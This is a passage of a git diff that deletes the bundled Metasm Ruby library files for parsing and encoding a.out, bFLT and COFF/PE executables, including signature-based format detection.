- - def set_default_values(aout) - @magic ||= 'QMAGIC' - @machtype ||= 'PC386' - @flags ||= [] - @text ||= aout.text.length + (@magic == 'QMAGIC' ? 32 : 0) if aout.text - @data ||= aout.data.length if aout.data - - super(aout) - end - end - - class Relocation < SerialStruct - word :address - bitfield :word, 0 => :symbolnum, 24 => :pcrel, 25 => :length, - 27 => :extern, 28 => :baserel, 29 => :jmptable, 30 => :relative, 31 => :rtcopy - fld_enum :length, 0 => 1, 1 => 2, 2 => 4, 3 => 8 - fld_default :length, 4 - end - - class Symbol < SerialStruct - word :name_p - bitfield :byte, 0 => :extern, 1 => :type, 5 => :stab - byte :other - half :desc - word :value - attr_accessor :name - - def decode(aout, strings=nil) - super(aout) - @name = strings[@name_p...(strings.index(?\0, @name_p))] if strings - end - - def set_default_values(aout, strings=nil) - if strings and name and @name != '' - if not @name_p or strings[@name_p, @name.length] != @name - @name_p = strings.length - strings << @name << 0 - end - end - super(aout, strings) - end - end - - def decode_byte(edata = @encoded) edata.decode_imm(:u8 , @endianness) end - def decode_half(edata = @encoded) edata.decode_imm(:u16, @endianness) end - def decode_word(edata = @encoded) edata.decode_imm(:u32, @endianness) end - def encode_byte(w) Expression[w].encode(:u8 , @endianness) end - def encode_half(w) Expression[w].encode(:u16, @endianness) end - def encode_word(w) Expression[w].encode(:u32, @endianness) end - def sizeof_byte ; 1 ; end - def sizeof_half ; 2 ; end - def sizeof_word ; 4 ; end - - def initialize(cpu = nil) - @endianness = cpu ? cpu.endianness : :little - @header = Header.new - @text = EncodedData.new - @data = EncodedData.new - super(cpu) - end - - def decode_header - @encoded.ptr = 0 - @header.decode(self) - end - - def decode - decode_header - - tlen = @header.text - case @header.magic - when 'ZMAGIC'; @encoded.ptr = 1024 - when 'QMAGIC'; tlen -= 32 # header is included in .text - end - @text = EncodedData.new << @encoded.read(tlen) - - @data = EncodedData.new << @encoded.read(@header.data) - - # TODO - #textrel = @encoded.read @header.trsz - #datarel = @encoded.read @header.drsz - #syms = @encoded.read @header.syms - #strings = @encoded.read - end - - def encode - # non mmapable on linux anyway - # could support OMAGIC.. - raise EncodeError, 'cannot encode non-QMAGIC a.out' if @header.magic and @header.magic != 'QMAGIC' - - # data must be 4096-aligned - # 32 bytes of header included in .text - @text.virtsize = (@text.virtsize + 32 + 4096 - 1) / 4096 * 4096 - 32 - if @data.rawsize % 4096 != 0 - @data[(@data.rawsize + 4096 - 1) / 4096 * 4096 - 1] = 0 - end - - @header.text = @text.length+32 - @header.data = @data.rawsize - @header.bss = @data.virtsize - @data.rawsize - - @encoded = EncodedData.new - @encoded << @header.encode(self) - binding = @text.binding(4096+32).merge @data.binding(4096 + @header.text) - @encoded << @text << @data - @encoded.fixup! binding - @encoded.data - end - - def parse_init - @textsrc ||= [] - @datasrc ||= [] - @cursource ||= @textsrc - super() - end - - def parse_parser_instruction(instr) - case instr.raw.downcase - when '.text'; @cursource = @textsrc - when '.data'; @cursource = @datasrc - when '.entrypoint' - # ".entrypoint " or ".entrypoint" (here) - @lexer.skip_space - if tok = @lexer.nexttok and tok.type == :string - raise instr if not entrypoint = Expression.parse(@lexer) - else - entrypoint = new_label('entrypoint') - @cursource << Label.new(entrypoint, instr.backtrace.dup) - end - @header.entry = entrypoint - else super(instr) - end - end - - def assemble(*a) - parse(*a) if not a.empty? - @text << assemble_sequence(@textsrc, @cpu) - @textsrc.clear - @data << assemble_sequence(@datasrc, @cpu) - @datasrc.clear - self - end - - def each_section - tva = 0 - tva = 4096+32 if @header.magic == 'QMAGIC' - yield @text, tva - yield @data, tva + @text.virtsize - end -end -end diff --git a/lib/metasm/metasm/exe_format/autoexe.rb b/lib/metasm/metasm/exe_format/autoexe.rb deleted file mode 100644 index 3bd94d953c..0000000000 --- a/lib/metasm/metasm/exe_format/autoexe.rb +++ /dev/null @@ -1,83 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/exe_format/main' - -module Metasm -# special class that decodes a PE, ELF, MachO or UnivBinary file from its signature -# XXX UnivBinary is not a real ExeFormat, just a container.. -class AutoExe < ExeFormat -class UnknownSignature < InvalidExeFormat ; end - -# actually calls autoexe_load for the detected filetype from #execlass_from_signature -def self.load(str, *a, &b) - s = str - s = str.data if s.kind_of? EncodedData - execlass_from_signature(s).autoexe_load(str, *a, &b) -end - -# match the actual exe class from the raw file inspection using the registered signature list -# calls #unknown_signature if nothing matches -def self.execlass_from_signature(raw) - m = @signatures.find { |sig, exe| - case sig - when String; raw[0, sig.length] == sig - when Proc; sig[raw] - end - } - e = m ? m[1] : unknown_signature(raw) - case e - when String; Metasm.const_get(e) - when Proc; e.call - else e - end -end - -# register a new binary file signature -def self.register_signature(sig, exe=nil, &b) - (@signatures ||= []) << [sig, exe || b] -end - -def self.init_signatures(sig=[]) - @signatures = sig -end - -# this function is called when no signature matches -def self.unknown_signature(raw) - raise UnknownSignature, "unrecognized executable file format #{raw[0, 4].unpack('H*').first.inspect}" -end - -# raw signature copies (avoid triggering exefmt autorequire) -init_signatures -register_signature("\x7fELF") { ELF } -register_signature(lambda { |raw| raw[0, 2] == "MZ" and off = raw[0x3c, 4].to_s.unpack('V')[0] and off < raw.length and raw[off, 4] == "PE\0\0" }) { PE } -%w[feedface cefaedfe feedfacf cffaedfe].each { |sig| register_signature([sig].pack('H*')) { MachO } } -register_signature("\xca\xfe\xba\xbe") { UniversalBinary } -register_signature("dex\n") { DEX } -register_signature("dey\n") { DEY } -register_signature("\xfa\x70\x0e\x1f") { FatELF } -register_signature("\x50\x4b\x03\x04") { ZIP } -register_signature('Metasm.dasm') { Disassembler } - -# replacement for AutoExe where #load defaults to a Shellcode of the specified CPU -def self.orshellcode(cpu=nil, &b) - # here we create an anonymous subclass of AutoExe whose #unknown_sig is patched to return a Shellcode instead of raise()ing - c = ::Class.new(self) - # yeeehaa - class << c ; self ; end.send(:define_method, :unknown_signature) { |raw| - Shellcode.withcpu(cpu || b[raw]) - } - c.init_signatures @signatures - c -end -end - -# special class that decodes a LoadedPE or LoadedELF from its signature (used to read memory-mapped binaries) -class LoadedAutoExe < AutoExe -init_signatures -register_signature("\x7fELF") { LoadedELF } -register_signature(lambda { |raw| raw[0, 2] == "MZ" and off = raw[0x3c, 4].to_s.unpack('V')[0] and off < raw.length and raw[off, 4] == "PE\0\0" }) { LoadedPE } -end -end diff --git a/lib/metasm/metasm/exe_format/bflt.rb b/lib/metasm/metasm/exe_format/bflt.rb deleted file mode 100644 index ec70a2756c..0000000000 --- a/lib/metasm/metasm/exe_format/bflt.rb +++ /dev/null @@ -1,219 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/exe_format/main' -require 'metasm/encode' -require 'metasm/decode' - -module Metasm -# BFLT is the binary flat format used by the uClinux -# from examining a v4 binary, it looks like the header is discarded and the file is mapped from 0x40 to memory address 0 (wrt relocations) -class Bflt < ExeFormat - MAGIC = 'bFLT' - FLAGS = { 1 => 'RAM', 2 => 'GOTPIC', 4 => 'GZIP' } - - attr_accessor :header, :text, :data, :reloc, :got - - class Header < SerialStruct - mem :magic, 4 - words :rev, :entry, :data_start, :data_end, :bss_end, :stack_size, - :reloc_start, :reloc_count, :flags - mem :pad, 6*4 - fld_bits(:flags, FLAGS) - - def decode(exe) - super(exe) - - case @magic - when MAGIC - else raise InvalidExeFormat, "Bad bFLT signature #@magic" - end - - if @rev >= 0x01000000 and (@rev & 0x00f0ffff) == 0 - puts "Bflt: probable wrong endianness, retrying" if $VERBOSE - exe.endianness = { :big => :little, :little => :big }[exe.endianness] - exe.encoded.ptr -= 4*16 - super(exe) - end - end - - def set_default_values(exe) - @magic ||= MAGIC - @rev ||= 4 - @entry ||= 0x40 - @data_start ||= 0x40 + exe.text.length if exe.text - @data_end ||= @data_start + exe.data.data.length if exe.data - @bss_end ||= @data_start + exe.data.length if exe.data - @stack_size ||= 0x1000 - @reloc_start ||= @data_end - @reloc_count ||= exe.reloc.length - @flags ||= [] - - super(exe) - end - end - - def decode_word(edata = @encoded) edata.decode_imm(:u32, @endianness) end - def encode_word(w) Expression[w].encode(:u32, @endianness) end - def sizeof_word ; 4 ; end - - attr_accessor :endianness - def initialize(cpu = nil) - @endianness = cpu ? cpu.endianness : :little - @header = Header.new - @text = EncodedData.new - @data = EncodedData.new - super(cpu) - end - - def decode_header - @encoded.ptr = 0 - @header.decode(self) - @encoded.add_export(new_label('entrypoint'), @header.entry) - end - - def decode - decode_header - - @text = @encoded[0x40...@header.data_start] - @data = @encoded[@header.data_start...@header.data_end] - @data.virtsize += @header.bss_end - @header.data_end - - if @header.flags.include?('GZIP') - # TODO gzip - raise 'bFLT decoder: gzip format not supported' - end - - @reloc = [] - @encoded.ptr = @header.reloc_start - @header.reloc_count.times { @reloc << decode_word } - if @header.rev == 2 - @reloc.map! { |r| r & 0x3fff_ffff } - end - - decode_interpret_relocs - end - - def decode_interpret_relocs - textsz = @header.data_start-0x40 - @reloc.each { |r| - # where the reloc is - if r < textsz - section = @text - off = section.ptr = r - else - section = @data - off = section.ptr = r-textsz - end - - # what it points to - target = decode_word(section) - if target < textsz - target = label_at(@text, target, "xref_#{Expression[target]}") - elsif target < @header.bss_end-0x40 - target = label_at(@data, target-textsz, "xref_#{Expression[target]}") - else - puts "out of bounds reloc target #{Expression[target]} at #{Expression[r]}" if $VERBOSE - next - end - - section.reloc[off] = Relocation.new(Expression[target], :u32, @endianness) - } - end - - def encode - create_relocation_table - - # TODO got, gzip - if @header.flags.include? 'GZIP' - puts "W: bFLT: clearing gzip flag" if $VERBOSE - @header.flags.delete 'GZIP' - end - - @encoded = EncodedData.new - @encoded << @header.encode(self) - - binding = @text.binding(0x40).merge(@data.binding(@header.data_start)) - @encoded << @text << @data.data - @encoded.fixup! binding - @encoded.reloc.clear - - @relocs.each { |r| @encoded << encode_word(r) } - - @encoded.data - end - - def create_relocation_table - @reloc = [] - mapaddr = new_label('mapaddr') - binding = @text.binding(mapaddr).merge(@data.binding(mapaddr)) - [@text, @data].each { |section| - base = 0x40 # XXX maybe 0 ? - base = @header.data_start || base+@text.length if section == @data - section.reloc.each { |o, r| - if r.endianness == @endianness and [:u32, :a32, :i32].include? r.type and - Expression[r.target.bind(binding), :-, mapaddr].reduce.kind_of? ::Integer - @reloc << (base+o) - else - puts "bFLT: ignoring unsupported reloc #{r.inspect} at #{Expression[o]}" if $VERBOSE - end - } - } - end - - def parse_init - @textsrc ||= [] - @datasrc ||= [] - @cursource ||= @textsrc - super() - end - - def parse_parser_instruction(instr) - case instr.raw.downcase - when '.text'; @cursource = @textsrc - when '.data'; @cursource = @datasrc - when '.entrypoint' - # ".entrypoint " or ".entrypoint" (here) - @lexer.skip_space - if tok = @lexer.nexttok and tok.type == :string - raise instr if not entrypoint = Expression.parse(@lexer) - else - entrypoint = new_label('entrypoint') - @cursource << Label.new(entrypoint, instr.backtrace.dup) - end - @header.entry = entrypoint - else super(instr) - end - end - - def assemble(*a) - parse(*a) if not a.empty? - @text << assemble_sequence(@textsrc, @cpu) - @textsrc.clear - @data << assemble_sequence(@datasrc, @cpu) - @datasrc.clear - self - end - - def get_default_entrypoints - ['entrypoint'] - end - - def each_section - yield @text, 0 - yield @data, @header.data_start - @header.entry - end - - def section_info - [['.text', 0, @text.length, 'rx'], - ['.data', @header.data_addr-0x40, @data.data.length, 'rw'], - ['.bss', @header.data_end-0x40, @data.length-@data.data.length, 'rw']] - end - - def module_symbols - ['entrypoint', @header.entry-0x40] - end -end -end diff --git a/lib/metasm/metasm/exe_format/coff.rb b/lib/metasm/metasm/exe_format/coff.rb deleted file mode 100644 index a330ea5f1f..0000000000 --- a/lib/metasm/metasm/exe_format/coff.rb +++ /dev/null @@ -1,463 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/exe_format/main' - -module Metasm -# the COFF object file format -# mostly used on windows (PE/COFF) -class COFF < ExeFormat - CHARACTERISTIC_BITS = { - 0x0001 => 'RELOCS_STRIPPED', 0x0002 => 'EXECUTABLE_IMAGE', - 0x0004 => 'LINE_NUMS_STRIPPED', 0x0008 => 'LOCAL_SYMS_STRIPPED', - 0x0010 => 'AGGRESSIVE_WS_TRIM', 0x0020 => 'LARGE_ADDRESS_AWARE', - 0x0040 => 'x16BIT_MACHINE', 0x0080 => 'BYTES_REVERSED_LO', - 0x0100 => 'x32BIT_MACHINE', 0x0200 => 'DEBUG_STRIPPED', - 0x0400 => 'REMOVABLE_RUN_FROM_SWAP', 0x0800 => 'NET_RUN_FROM_SWAP', - 0x1000 => 'SYSTEM', 0x2000 => 'DLL', - 0x4000 => 'UP_SYSTEM_ONLY', 0x8000 => 'BYTES_REVERSED_HI' - } - - MACHINE = { - 0x0 => 'UNKNOWN', 0x184 => 'ALPHA', 0x1c0 => 'ARM', - 0x1d3 => 'AM33', 0x8664=> 'AMD64', 0xebc => 'EBC', - 0x9041=> 'M32R', 0x1f1 => 'POWERPCFP', - 0x284 => 'ALPHA64', 0x14c => 'I386', 0x200 => 'IA64', - 0x268 => 'M68K', 0x266 => 'MIPS16', 0x366 => 'MIPSFPU', - 0x466 => 'MIPSFPU16', 0x1f0 => 'POWERPC', 0x162 => 'R3000', - 0x166 => 'R4000', 0x168 => 'R10000', 0x1a2 => 'SH3', - 0x1a3 => 'SH3DSP', 0x1a6 => 'SH4', 0x1a8 => 'SH5', - 0x1c2 => 'THUMB', 0x169 => 'WCEMIPSV2' - } - - # PE+ is for 64bits address spaces - SIGNATURE = { 0x10b => 'PE', 0x20b => 'PE+', 0x107 => 'ROM' } - - SUBSYSTEM = { - 0 => 'UNKNOWN', 1 => 'NATIVE', 2 => 'WINDOWS_GUI', - 3 => 'WINDOWS_CUI', 5 => 'OS/2_CUI', 7 => 'POSIX_CUI', - 8 => 'WIN9X_DRIVER', 9 => 'WINDOWS_CE_GUI', - 10 => 'EFI_APPLICATION', - 11 => 'EFI_BOOT_SERVICE_DRIVER', 12 => 'EFI_RUNTIME_DRIVER', - 13 => 'EFI_ROM', 14 => 'XBOX' - } - - DLL_CHARACTERISTIC_BITS = { - 0x40 => 'DYNAMIC_BASE', 0x80 => 'FORCE_INTEGRITY', 0x100 => 'NX_COMPAT', - 0x200 => 'NO_ISOLATION', 0x400 => 'NO_SEH', 0x800 => 'NO_BIND', - 0x2000 => 'WDM_DRIVER', 0x8000 => 'TERMINAL_SERVER_AWARE' - } - - BASE_RELOCATION_TYPE = { 0 => 'ABSOLUTE', 1 => 'HIGH', 2 => 'LOW', 3 => 'HIGHLOW', - 4 => 'HIGHADJ', 5 => 'MIPS_JMPADDR', 9 => 'MIPS_JMPADDR16', 10 => 'DIR64' - } - - RELOCATION_TYPE = Hash.new({}).merge( - 'AMD64' => { 0 => 'ABSOLUTE', 1 => 'ADDR64', 2 => 'ADDR32', 3 => 'ADDR32NB', - 4 => 'REL32', 5 => 'REL32_1', 6 => 'REL32_2', 7 => 'REL32_3', - 8 => 'REL32_4', 9 => 'REL32_5', 10 => 'SECTION', 11 => 'SECREL', - 12 => 'SECREL7', 13 => 'TOKEN', 14 => 'SREL32', 15 => 'PAIR', - 16 => 'SSPAN32' }, - 'ARM' => { 0 => 'ABSOLUTE', 1 => 'ADDR32', 2 => 'ADDR32NB', 3 => 'BRANCH24', - 4 => 'BRANCH11', 14 => 'SECTION', 15 => 'SECREL' }, - 'I386' => { 0 => 'ABSOLUTE', 1 => 'DIR16', 2 => 'REL16', 6 => 'DIR32', - 7 => 'DIR32NB', 9 => 'SEG12', 10 => 'SECTION', 11 => 'SECREL', - 12 => 'TOKEN', 13 => 'SECREL7', 20 => 'REL32' } - ) - - # lsb of symbol type, unused - SYMBOL_BTYPE = { 0 => 'NULL', 1 => 'VOID', 2 => 'CHAR', 3 => 'SHORT', - 4 => 'INT', 5 => 'LONG', 6 => 'FLOAT', 7 => 'DOUBLE', 8 => 'STRUCT', - 9 => 'UNION', 10 => 'ENUM', 11 => 'MOE', 12 => 'BYTE', 13 => 'WORD', - 14 => 'UINT', 15 => 'DWORD'} - SYMBOL_TYPE = { 0 => 'NULL', 1 => 'POINTER', 2 => 'FUNCTION', 3 => 'ARRAY' } - SYMBOL_SECTION = { 0 => 'UNDEF', 0xffff => 'ABS', 0xfffe => 'DEBUG' } - SYMBOL_STORAGE = { 0xff => 'EOF', 0 => 'NULL', 1 => 'AUTO', 2 => 'EXTERNAL', - 3 => 'STATIC', 4 => 'REGISTER', 5 => 'EXT_DEF', 6 => 'LABEL', - 7 => 'UNDEF_LABEL', 8 => 'STRUCT_MEMBER', 9 => 'ARGUMENT', 10 => 'STRUCT_TAG', - 11 => 'UNION_MEMBER', 12 => 'UNION_TAG', 13 => 'TYPEDEF', 14 => 'UNDEF_STATIC', - 15 => 'ENUM_TAG', 16 => 'ENUM_MEMBER', 17 => 'REG_PARAM', 18 => 'BIT_FIELD', - 100 => 'BLOCK', 101 => 'FUNCTION', 102 => 'END_STRUCT', - 103 => 'FILE', 104 => 'SECTION', 105 => 'WEAK_EXT', - } - - DEBUG_TYPE = { 0 => 'UNKNOWN', 1 => 'COFF', 2 => 'CODEVIEW', 3 => 'FPO', 4 => 'MISC', - 5 => 'EXCEPTION', 6 => 'FIXUP', 7 => 'OMAP_TO_SRC', 8 => 'OMAP_FROM_SRC', - 9 => 'BORLAND', 10 => 'RESERVED10', 11 => 'CLSID' } - - DIRECTORIES = %w[export_table import_table resource_table exception_table certificate_table - base_relocation_table debug architecture global_ptr tls_table load_config - bound_import iat delay_import com_runtime reserved] - - SECTION_CHARACTERISTIC_BITS = { - 0x20 => 'CONTAINS_CODE', 0x40 => 'CONTAINS_DATA', 0x80 => 'CONTAINS_UDATA', - 0x100 => 'LNK_OTHER', 0x200 => 'LNK_INFO', 0x800 => 'LNK_REMOVE', - 0x1000 => 'LNK_COMDAT', 0x8000 => 'GPREL', - 0x20000 => 'MEM_PURGEABLE|16BIT', 0x40000 => 'MEM_LOCKED', 0x80000 => 'MEM_PRELOAD', - 0x100000 => 'ALIGN_1BYTES', 0x200000 => 'ALIGN_2BYTES', - 0x300000 => 'ALIGN_4BYTES', 0x400000 => 'ALIGN_8BYTES', - 0x500000 => 'ALIGN_16BYTES', 0x600000 => 'ALIGN_32BYTES', - 0x700000 => 'ALIGN_64BYTES', 0x800000 => 'ALIGN_128BYTES', - 0x900000 => 'ALIGN_256BYTES', 0xA00000 => 'ALIGN_512BYTES', - 0xB00000 => 'ALIGN_1024BYTES', 0xC00000 => 'ALIGN_2048BYTES', - 0xD00000 => 'ALIGN_4096BYTES', 0xE00000 => 'ALIGN_8192BYTES', - 0x01000000 => 'LNK_NRELOC_OVFL', 0x02000000 => 'MEM_DISCARDABLE', - 0x04000000 => 'MEM_NOT_CACHED', 0x08000000 => 'MEM_NOT_PAGED', - 0x10000000 => 'MEM_SHARED', 0x20000000 => 'MEM_EXECUTE', - 0x40000000 => 'MEM_READ', 0x80000000 => 'MEM_WRITE' - } - # NRELOC_OVFL means there are more than 0xffff reloc - # the reloc count must be set to 0xffff, and the real reloc count - # is the VA of the first relocation - - ORDINAL_REGEX = /^Ordinal_(\d+)$/ - - COMIMAGE_FLAGS = { - 1 => 'ILONLY', 2 => '32BITREQUIRED', 4 => 'IL_LIBRARY', - 8 => 'STRONGNAMESIGNED', 16 => 'NATIVE_ENTRYPOINT', - 0x10000 => 'TRACKDEBUGDATA' - } - - class SerialStruct < Metasm::SerialStruct - new_int_field :xword - end - - class Header < SerialStruct - half :machine, 'I386', MACHINE - half :num_sect - words :time, :ptr_sym, :num_sym - half :size_opthdr - half :characteristics - fld_bits :characteristics, CHARACTERISTIC_BITS - end - - # present in linked files (exe/dll/kmod) - class OptionalHeader < SerialStruct - half :signature, 'PE', SIGNATURE - bytes :link_ver_maj, :link_ver_min - words :code_size, :data_size, :udata_size, :entrypoint, :base_of_code - # base_of_data does not exist in 64-bit - new_field(:base_of_data, lambda { |exe, hdr| exe.decode_word if exe.bitsize != 64 }, lambda { |exe, hdr, val| exe.encode_word(val) if exe.bitsize != 64 }, lambda { |exe, hdr| exe.bitsize != 64 ? 4 : 0 }, 0) - # NT-specific fields - xword :image_base - words :sect_align, :file_align - halfs :os_ver_maj, :os_ver_min, :img_ver_maj, :img_ver_min, :subsys_maj, :subsys_min - words :reserved, :image_size, :headers_size, :checksum - half :subsystem, 0, SUBSYSTEM - half :dll_characts - fld_bits :dll_characts, DLL_CHARACTERISTIC_BITS - xwords :stack_reserve, :stack_commit, :heap_reserve, :heap_commit - words :ldrflags, :numrva - end - - # COFF relocatable object symbol (table offset found in the Header.ptr_sym) - class Symbol < SerialStruct - str :name, 8 # if the 1st 4 bytes are 0, the word at 4...8 is the name index in the string table - word :value - half :sec_nr - fld_enum :sec_nr, SYMBOL_SECTION - bitfield :half, 0 => :type_base, 4 => :type - fld_enum :type_base, SYMBOL_BTYPE - fld_enum :type, SYMBOL_TYPE - bytes :storage, :nr_aux - fld_enum :storage, SYMBOL_STORAGE - - attr_accessor :aux - end - - class Section < SerialStruct - str :name, 8 - words :virtsize, :virtaddr, :rawsize, :rawaddr, :relocaddr, :linenoaddr - halfs :relocnr, :linenonr - word :characteristics - fld_bits :characteristics, SECTION_CHARACTERISTIC_BITS - - attr_accessor :encoded, :relocs - end - - # COFF relocatable object relocation (per section, see relocaddr/relocnr) - class RelocObj < SerialStruct - word :va - word :symidx - half :type - fld_enum(:type) { |coff, rel| RELOCATION_TYPE[coff.header.machine] || {} } - attr_accessor :sym - end - - # lists the functions/addresses exported to the OS (pendant of ImportDirectory) - class ExportDirectory < SerialStruct - words :reserved, :timestamp - halfs :version_major, :version_minor - words :libname_p, :ordinal_base, :num_exports, :num_names, :func_p, :names_p, :ord_p - attr_accessor :libname, :exports - - class Export - attr_accessor :forwarder_lib, :forwarder_ordinal, :forwarder_name, :target, :target_rva, :name_p, :name, :ordinal - end - end - - # contains the name of dynamic libraries required by the program, and the function to import from them - class ImportDirectory < SerialStruct - words :ilt_p, :timestamp, :firstforwarder, :libname_p, :iat_p - fld_default :firstforwarder, 0xffff_ffff - attr_accessor :libname, :imports, :iat - - class Import - attr_accessor :ordinal, :hint, :hintname_p, :name, :target, :thunk - end - end - - # tree-like structure, holds all misc data the program might need (icons, cursors, version information) - # conventionnally structured in a 3-level depth structure: - # I resource type (icon/cursor/etc, see +TYPES+) - # II resource id (icon n1, icon 'toto', ...) - # III language-specific version (icon n1 en, icon n1 en-dvorak...) - class ResourceDirectory < SerialStruct - words :characteristics, :timestamp - halfs :major_version, :minor_version, :nr_names, :nr_id - attr_accessor :entries - attr_accessor :curoff_label # internal use, in encoder - - class Entry - attr_accessor :name_p, :name, :name_w, - :id, :subdir_p, :subdir, :dataentry_p, - :data_p, :data, :codepage, :reserved - end - end - - # array of relocations to apply to an executable file - # when it is loaded at an address that is not its preferred_base_address - class RelocationTable < SerialStruct - word :base_addr - attr_accessor :relocs - - class Relocation < SerialStruct - bitfield :half, 0 => :offset, 12 => :type - fld_enum :type, BASE_RELOCATION_TYPE - end - end - - class DebugDirectory < SerialStruct - words :characteristics, :timestamp - halfs :major_version, :minor_version - words :type, :size_of_data, :addr, :pointer - fld_enum :type, DEBUG_TYPE - - attr_accessor :data - - class NB10 < SerialStruct - word :offset - word :signature - word :age - strz :pdbfilename - end - - class RSDS < SerialStruct - mem :guid, 16 - word :age - strz :pdbfilename - end - end - - class TLSDirectory < SerialStruct - xwords :start_va, :end_va, :index_addr, :callback_p - words :zerofill_sz, :characteristics - - attr_accessor :callbacks - end - - # the 'load configuration' directory (used for SafeSEH) - class LoadConfig < SerialStruct - words :signature, :timestamp - halfs :major_version, :minor_version - words :globalflags_clear, :globalflags_set, :critsec_timeout - # lockpfxtable is an array of VA of LOCK prefixes, to be nopped on singleproc machines (!) - xwords :decommitblock, :decommittotal, :lockpfxtable, :maxalloc, :maxvirtmem, :process_affinity_mask - word :process_heap_flags - halfs :service_pack_id, :reserved - xwords :editlist, :security_cookie, :sehtable_p, :sehcount - - attr_accessor :safeseh - end - - class DelayImportDirectory < SerialStruct - words :attributes, :libname_p, :handle_p, :iat_p, :int_p, :biat_p, :uiat_p, :timestamp - - attr_accessor :libname - end - - # structure defining entrypoints and stuff for .net binaries - class Cor20Header < SerialStruct - word :size - halfs :major_version, :minor_version # runtime version - words :metadata_rva, :metadata_sz - word :flags - fld_bits :flags, COMIMAGE_FLAGS - word :entrypoint # RVA to native or managed ep, depending on flags - words :resources_rva, :resources_sz - words :strongnamesig_rva, :strongnamesig_sz - words :codemgr_rva, :codemgr_sz - words :vtfixup_rva, :vtfixup_sz - words :eatjumps_rva, :eatjumps_sz - words :managednativehdr_rva, :managednativehdr_sz - - attr_accessor :metadata, :resources, :strongnamesig, :codemgr, :vtfixup, :eatjumps, :managednativehdr - end - - # for the icon, the one that appears in the explorer is - # (NT) the one with the lowest ID - # (98) the first to appear in the table - class ResourceDirectory - def to_hash(depth=0) - map = case depth - when 0; TYPE - when 1; {} # resource-id - when 2; {} # lang - else {} - end - @entries.inject({}) { |h, e| - k = e.id ? map.fetch(e.id, e.id) : e.name ? e.name : e.name_w - v = e.subdir ? e.subdir.to_hash(depth+1) : e.data - h.update k => v - } - end - - def self.from_hash(h, depth=0) - map = case depth - when 0; TYPE - when 1; {} # resource-id - when 2; {} # lang - else {} - end - ret = new - ret.entries = h.map { |k, v| - e = Entry.new - k.kind_of?(Integer) ? (e.id = k) : map.index(k) ? (e.id = map.index(k)) : (e.name = k) # name_w ? - v.kind_of?(Hash) ? (e.subdir = from_hash(v, depth+1)) : (e.data = v) - e - } - ret - end - - # returns a string with the to_hash key tree - def to_s - to_s_a(0).join("\n") - end - - def to_s_a(depth) - @entries.map { |e| - ar = [] - ar << if e.id - if depth == 0 and TYPE.has_key?(e.id); "#{e.id.to_s} (#{TYPE[e.id]})".ljust(18) - else e.id.to_s.ljust(5) - end - else (e.name || e.name_w).inspect - end - if e.subdir - sa = e.subdir.to_s_a(depth+1) - if sa.length == 1 - ar.last << " | #{sa.first}" - else - ar << sa.map { |s| ' ' + s } - end - elsif e.data.length > 16 - ar.last << " #{e.data[0, 8].inspect}... <#{e.data.length} bytes>" - else - ar.last << ' ' << e.data.inspect - end - ar - }.flatten - end - - TYPE = { - 1 => 'CURSOR', 2 => 'BITMAP', 3 => 'ICON', 4 => 'MENU', - 5 => 'DIALOG', 6 => 'STRING', 7 => 'FONTDIR', 8 => 'FONT', - 9 => 'ACCELERATOR', 10 => 'RCADATA', 11 => 'MESSAGETABLE', - 12 => 'GROUP_CURSOR', 14 => 'GROUP_ICON', 16 => 'VERSION', - 17 => 'DLGINCLUDE', 19 => 'PLUGPLAY', 20 => 'VXD', - 21 => 'ANICURSOR', 22 => 'ANIICON', 23 => 'HTML', - 24 => 'MANIFEST' - } - - ACCELERATOR_BITS = { - 1 => 'VIRTKEY', 2 => 'NOINVERT', 4 => 'SHIFT', 8 => 'CTRL', - 16 => 'ALT', 128 => 'LAST' - } - - # cursor = raw data, cursor_group = header , pareil pour les icons - class Cursor - attr_accessor :xhotspot, :yhotspot, :data - end - end - - attr_accessor :header, :optheader, :directory, :sections, :endianness, :symbols, :bitsize, - :export, :imports, :resource, :certificates, :relocations, :debug, :tls, :loadconfig, :delayimports, :com_header - - # boolean, set to true to have #decode() ignore the base_relocs directory - attr_accessor :nodecode_relocs - - def initialize(*a) - cpu = a.grep(CPU).first - @nodecode_relocs = true if a.include? :nodecode_relocs - - @directory = {} # DIRECTORIES.key => [rva, size] - @sections = [] - @endianness = cpu ? cpu.endianness : :little - @bitsize = cpu ? cpu.size : 32 - @header = Header.new - @optheader = OptionalHeader.new - super(cpu) - end - - def shortname; 'coff'; end - - def sizeof_byte ; 1 ; end - def sizeof_half ; 2 ; end - def sizeof_word ; 4 ; end - def sizeof_xword ; @bitsize == 32 ? 4 : 8 ; end -end - -# the COFF archive file format -# maybe used in .lib files (they hold binary import information for libraries) -# used for unix .a static library files (with no 2nd linker and newline-separated longnames) -class COFFArchive < ExeFormat - class Member < SerialStruct - mem :name, 16 - mem :date, 12 - mem :uid, 6 - mem :gid, 6 - mem :mode, 8 - mem :size, 10 - mem :eoh, 2 - - attr_accessor :offset, :encoded - end - - class ImportHeader < SerialStruct - halfs :sig1, :sig2, :version, :machine - words :timestamp, :size_of_data - half :hint - bitfield :half, 0 => :reserved, 11 => :name_type, 14 => :type - #fld_enum :type, IMPORT_TYPE - #fld_enum :name_type, NAME_TYPE - strz :symname - strz :libname - end - - attr_accessor :members, :signature, :first_linker, :second_linker, :longnames - - # return the 1st member whose name is name - def member(name) - @members.find { |m| m.name == name } - end - - def sizeof_half ; 2 ; end - def sizeof_word ; 4 ; end -end -end - -require 'metasm/exe_format/coff_encode' -require 'metasm/exe_format/coff_decode' diff --git a/lib/metasm/metasm/exe_format/coff_decode.rb b/lib/metasm/metasm/exe_format/coff_decode.rb deleted file mode 100644 index e46528a119..0000000000 --- a/lib/metasm/metasm/exe_format/coff_decode.rb +++ /dev/null @@ -1,934 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/decode' -require 'metasm/exe_format/coff' unless defined? Metasm::COFF - -module Metasm -class COFF - class OptionalHeader - decode_hook(:entrypoint) { |coff, ohdr| - coff.bitsize = (ohdr.signature == 'PE+' ? 64 : 32) - } - - # decodes a 